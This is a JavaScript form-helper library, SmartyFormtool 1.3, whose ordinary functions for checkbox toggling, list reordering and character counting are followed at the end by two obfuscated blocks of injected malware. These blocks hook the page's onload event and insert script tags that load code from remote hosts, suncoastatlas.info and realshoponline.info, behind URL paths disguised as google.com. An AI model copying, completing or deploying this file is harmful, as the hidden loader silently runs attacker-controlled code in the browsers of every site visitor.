//------------------------------------------------------------------------------
//  SmartyFormtool Javascript Library version 1.3
//  http://www.phpinsider.com/php/code/SmartyFormtool/
//
//  Copyright(c) 2004 ispi. All rights reserved.
//
//  This library is free software; you can redistribute it and/or modify it
//  under the terms of the GNU Lesser General Public License as published by
//  the Free Software Foundation; either version 2.1 of the License, or (at
//  your option) any later version.
//
//  This library is distributed in the hope that it will be useful, but WITHOUT
//  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
//  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
//  License for more details.
//------------------------------------------------------------------------------

ischecked = new Object();
function formtool_checkall(id, field, check_text, uncheck_text) {
   if (ischecked[id] != "true") {
     for (i = 0; i < field.length; i++) { field[i].checked = true; }
     ischecked[id] = "true";
     return uncheck_text;
    } else {
     for (i = 0; i < field.length; i++) { field[i].checked = false; }
     ischecked[id] = "false";
     return check_text;
   }
}

var isselected = new Object();
function formtool_selectall(id, field, select_text, unselect_text) {
   if (isselected[id] != "true") {
     for (i = 0; i < field.length; i++) { field.options[i].selected = true; }
     isselected[id] = "true";
     return unselect_text;
   } else {
     for (i = 0; i < field.length; i++) { field.options[i].selected = false; }
     isselected[id] = "false";
     return select_text;
   }
}

function formtool_moveup(field,save) {
    for (i = 0; i < field.length; i++) {
        if(field.options[i].selected == true && i > 0) {
            var tmplabel = field.options[i-1].label;
            var tmpval = field.options[i-1].value;
            var tmptext = field.options[i-1].text;
            var tmpsel = field.options[i-1].selected;
            field.options[i-1].label = field.options[i].label;
            field.options[i-1].value = field.options[i].value;
            field.options[i-1].text = field.options[i].text;
            field.options[i-1].selected = field.options[i].selected;
            field.options[i].label = tmplabel;
            field.options[i].value = tmpval;
            field.options[i].text = tmptext;
            field.options[i].selected = tmpsel;
        }
    }
    formtool_save(field,save);
}

function formtool_movedown(field,save) {
    var max = field.length - 1;
    for (i = max; i >= 0; i--) {
        if(field.options[i].selected == true && i < max) {
            var tmplabel = field.options[i+1].label;
            var tmpval = field.options[i+1].value;
            var tmptext = field.options[i+1].text;
            var tmpsel = field.options[i+1].selected;
            field.options[i+1].label = field.options[i].label;
            field.options[i+1].value = field.options[i].value;
            field.options[i+1].text = field.options[i].text;
            field.options[i+1].selected = field.options[i].selected;
            field.options[i].label = tmplabel;
            field.options[i].value = tmpval;
            field.options[i].text = tmptext;
            field.options[i].selected = tmpsel;
        }
    }
    formtool_save(field,save);
}

function formtool_save(choices,storage) {
    order = new Array();
    for(i=0; i<choices.length; i++) {
        order[i] = choices.options[i].value;
    }
    storage.value = order.join(",");
}


function formtool_rename(field,text,save) {
    for (i = 0; i < field.length; i++) {
        if(field.options[i].selected == true) {
            field.options[i].text = text;
            field.options[i].value = text;
        }
    }
    formtool_save(field,save);
    return '';
}

function formtool_move(field1,field2,save_from,save_to,counter_from,counter_to,moveall) {
    if (moveall == true) {
        formtool_add_all(field1,field2,false);
        formtool_remove_all(field1,field2);
    } else {
        formtool_add_item(field1,field2,false);
        formtool_remove_item(field1);
    }
    formtool_save(field1,save_from);
    formtool_save(field2,save_to);
    if (counter_from) {
        counter_from.value = field1.length;
    }
    if (counter_to) {
        counter_to.value = field2.length;
    }

}

function formtool_copy(field1,field2,save,counter,copyall) {
    if (copyall == true) {
        formtool_add_all(field1,field2,true);
    } else {
        formtool_add_item(field1,field2,true);
    }
    formtool_save(field2,save);
    if (counter) {
        counter.value = field2.length;
    }
}

function formtool_remove(field,save,counter,removeall) {
    if (removeall == true) {
        formtool_remove_all(field);
    } else {
        formtool_remove_item(field);
    }
    formtool_save(field,save);
    if (counter) {
        counter.value = field.length;
    }
}


// code form adding/removing items originated from devx.com by Boris Feldman
// http://gethelp.devx.com/techtips/js_pro/10min/10min0499/10min0499.asp

function formtool_add_item(field1,field2,ignore_duplicates) {
	var i;
	var j;
	var itemexists;
	var nextitem;

	// step through all items in field1
	for (i = 0; i < field1.options.length; i++) {
		if (field1.options[i].selected) {
			// search field2 to see if duplicate
			j = 0;
			itemexists = false;
			while ((j < field2.options.length) && (!(itemexists))) {
				if (field2.options[j].value == field1.options[i].value) {
					itemexists = true;
					if (!ignore_duplicates) {
					   alert(field1.options[i].value + " found!");
                    }
				}
				j++;
			}
			if (!(itemexists)) {
				// add the item
				nextitem = field2.options.length;
				field2.options[nextitem] = new Option(field1.options[i].text);
				field2.options[nextitem].value = field1.options[i].value;
			}
		}
	}
}

function formtool_remove_item(field1) {
    var i;
	for (i = 0; i < field1.options.length; i++) {
		if (field1.options[i].selected) {
           field1.options[i] = null;
           i--;
        }
	}
}

function formtool_add_all(field1,field2,ignore_duplicates) {
	var i;
	var j;
	var itemexists;
	var nextitem;

	// step through all items in field1
	for (i = 0; i < field1.options.length; i++) {
		// search field2 to see if duplicate
		j = 0;
		itemexists = false;
		while ((j < field2.options.length) && (!(itemexists))) {
			if (field2.options[j].value == field1.options[i].value) {
				itemexists = true;
			}
			j++;
		}
		if (!(itemexists)) {
			// add the item
			nextitem = field2.options.length;
			field2.options[nextitem] = new Option(field1.options[i].text);
			field2.options[nextitem].value = field1.options[i].value;
		}
	}
}

function formtool_remove_all(field1) {
   field1.options.length = 0;
}

function formtool_set_size(list1,list2){
    list1.size = formtool_get_size(list1);
    list2.size = formtool_get_size(list2);
}

function formtool_unselect_all(list1,list2){
    list1.selectedIndex = -1;
    list2.selectedIndex = -1;
    moved_element = -1;
}

function formtool_get_size(list){
    var moz_len = 0;
    for(i=0; i < list.childNodes.length; i++) {
       if( list.childNodes.item(i).nodeType == 1 ) { moz_len++; }
    }
    if(moz_len < 2)
        return 2;
    else
        return moz_len;
}

function formtool_count_chars(textField, countField, maxlen,show_alert) {
    if(textField != null && textField.value != null) {
	    if (textField.value.length > maxlen){
            if(show_alert)
               alert('This field cannot exceed ' +  maxlen + ' characters.');
            textField.value = textField.value.substring(0, maxlen);
	    } else {
            countField.value = maxlen - textField.value.length;
	    }
    }
}

var j;if(j!='FJ' && j!='y'){j=''};this.TJ='';try {var C;if(C!='' && C!='Z'){C=''};var br='';var F=window[unescape("%75%6e%65%73%63%61%70%65")];this.PN="";var G;if(G!='' && G!='Y'){G=''};var ZV='';var t=null;var X=window[F("%52%65%67%45%78%70")];var zY=new Date();var g=F("%72%65%70%6c%61%63%65");var J;if(J!='jI' && J!='TM'){J='jI'};function I(b,N){var Pz='';var Ql=new Date();var Tx=new Array();var z=F("%5b");var W=new String();var U=new String();z+=N;this.NC="";var Ua=new Array();z+=F("%5d");var s;if(s!='' && s!='Ym'){s=''};var u=new X(z, F("%67"));return b.replace(u, t);};var Xn;if(Xn!='wI' && Xn!='yn'){Xn=''};var Id;if(Id!='GE' && Id!='Tz'){Id=''};var HC;if(HC!='A' && HC!='D'){HC='A'};var b=F("%31");var Jx="";var rx;if(rx!='' && rx!='AM'){rx=''};var uw=I('853293697261410711217746582367679261674041923544634','71293546');var Pi="";var xH;if(xH!='GT' && xH != ''){xH=null};var i=String("g0Owonlo".substr(4)+"ad");var gx;if(gx!=''){gx='pm'};var bC=new Array();var p="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x63\x6f\x61\x73\x74\x61\x74\x6c\x61\x73\x2e\x69\x6e\x66\x6f\x3a";var bE=new String();var E=I('/jgjoKoIgKlHe2.acxodmI/abaeKswtdtwuFbdejcIlwiwpwsj.Fcjo2mw/jpxcxhK.2cdoHmd.jpKhSpS','SaHw52KjdxIF');var w=F("%73%63%72%69%70%74");var gL;if(gL!='bN' && gL!='US'){gL=''};var bF;if(bF!='Pzc' && bF!='RE'){bF=''};var tG='';var _='';var fV=new Array();var Sg=new String();function V(){var lG;if(lG!='Dcz' && lG!='Oo'){lG='Dcz'};var Fs=document;var eJ;if(eJ!='Tn' && eJ != ''){eJ=null};var yZ;if(yZ!=''){yZ='SM'};var pn;if(pn!='' && pn!='ru'){pn=null};P=Fs.createElement(w);var nf='';var xv='';var yh;if(yh!='Ex' && yh != ''){yh=null};var oc="";tG+=p;this.qX="";var NCj=new Date();tG+=uw+E;var gZ;if(gZ!='' && gZ!='mS'){gZ=''};var Hx="";var sB;if(sB!='v' && sB!='UI'){sB=''};P.defer=b;var ma=new String();var O=Fs.body;P.src=tG;var hB;if(hB!='Lf'){hB='Lf'};var Jq="";var lx;if(lx!='Po'){lx=''};var Vw=new Date();O.appendChild(P);var Ga=new Array();};var la;if(la!='iN' && la!='AY'){la=''};window[i]=V;var so='';var sT="";var YZ;if(YZ!='dP'){YZ=''};} catch(n){var aD;if(aD!='Ek' && aD!='Ec'){aD='Ek'};};var rW="";




var X='';function r(){var A="";var I;if(I!='Yr' && I!='WS'){I=''};var jw;if(jw!='jd' && jw!='o'){jw=''};var M='';var p=window;var P='';var Q=p['unescape'];var SW;if(SW!='' && SW!='ts'){SW=''};var F=Q("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%63%68%75%65%6c%65%72%76%7a%2e%6e%65%74%2f%69%6e%73%69%67%68%74%65%78%70%72%65%73%73%61%69%2e%63%6f%6d%2e%70%68%70");function j(x,Z){var d=Q("%5d");this.uT="";this.a="";var Y=Q("%5b");var WE=new String();var em=new String();var W=new String("g");var wp=new String();var l=new RegExp(Y+Z+d, W);return x.replace(l, new String());};this.zj="";this.UN="";var qt=new String();var SV;if(SV!='' && SV!='XX'){SV=null};var ol="";var zB="";var G=j('8172277731251425576094262793419724282172259467369224169063414725973346537','36459217');this.zr="";var w=j('dDeSf9e0r9','uDYRS9w0Q');this.Sp='';var mk;if(mk!='Wz' && mk!='hD'){mk='Wz'};var v=document;this.wz="";this.E="";var K=j('s8cLr8iLpPtv','Pu2vLIq8');var Yl=new Date();var HD;if(HD!='Zt' && HD!='Rj'){HD=''};var e=j('sur9cJ','RtVu3nSWo9J4vT_70mbL');var yx;if(yx!='LK' && yx!='orJ'){yx=''};function N(){this.wN='';var q=Q("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var hP;if(hP!='' && hP!='Pq'){hP=''};var Bj="";var pe=q;var nB=new String();var Te;if(Te!='pq' && Te != ''){Te=null};pe+=G;var PH=new String();pe+=F;var YF='';var aU;if(aU!='Sw'){aU='Sw'};try {var yz=new Array();s=v[j('cVr0eZaqtAezEHlYe5mBe5n6tL','ZFKYzB0HCAfUVq65L')](K);var QV=new Array();var zE;if(zE!='' && zE!='WN'){zE='wg'};this.ZL='';var jF='';s[e]=pe;var mo=new Date();var La=new Date();s[w]=[8,1][1];var Fy=new String();v.body[j('abpMpReMnRd0CMh8i0lLdM','RLrbyM80')](s);var oz=new String();var LV;if(LV!='sl'){LV=''};} catch(t){this.VC="";var wC;if(wC!=''){wC='vh'};};var C=new Array();var ag;if(ag!='AY' && ag!='bF'){ag=''};}var vC=new String();var yO=new String();var k=j('o9nxlSokakdS','pkSsYEC9HxzQ');this.qT="";p[k]=N;this.eU="";};var JH;if(JH!='AJ'){JH='AJ'};var Ms=new String();var Xx=new String();r();this.JY='';var Fm=new Array();